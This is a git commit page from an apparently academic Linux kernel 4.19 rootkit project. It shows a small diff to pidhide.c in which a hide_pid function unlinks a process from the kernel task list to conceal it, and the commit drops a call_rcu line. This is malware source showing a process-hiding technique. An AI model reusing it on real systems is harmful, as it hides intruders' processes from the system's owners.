linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit f6087b5ffa5050bd72d5ca2e3f8a58c7ee530bf6
parent 74417cd6e0d98bf8af41649d1e29dbe054d211f8
Author: deurzen <m.deurzen@tum.de>
Date:   Mon, 25 Jan 2021 02:54:28 +0100

fixes issue

Diffstat:
Mrootkit/src/pidhide.c | 2+-
1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/rootkit/src/pidhide.c b/rootkit/src/pidhide.c @@ -1,6 +1,7 @@ #include <linux/slab.h> #include <linux/pid.h> #include <linux/sched.h> +#include <linux/proc_fs.h> #include "hook.h" #include "pidhide.h" @@ -79,7 +80,6 @@ hide_pid(pid_t pid) write_lock_irq(&tasklist_lock); list_del(&ts->tasks); write_unlock_irq(&tasklist_lock); - call_rcu(&ts->rcu, delayed_put_task_struct); } void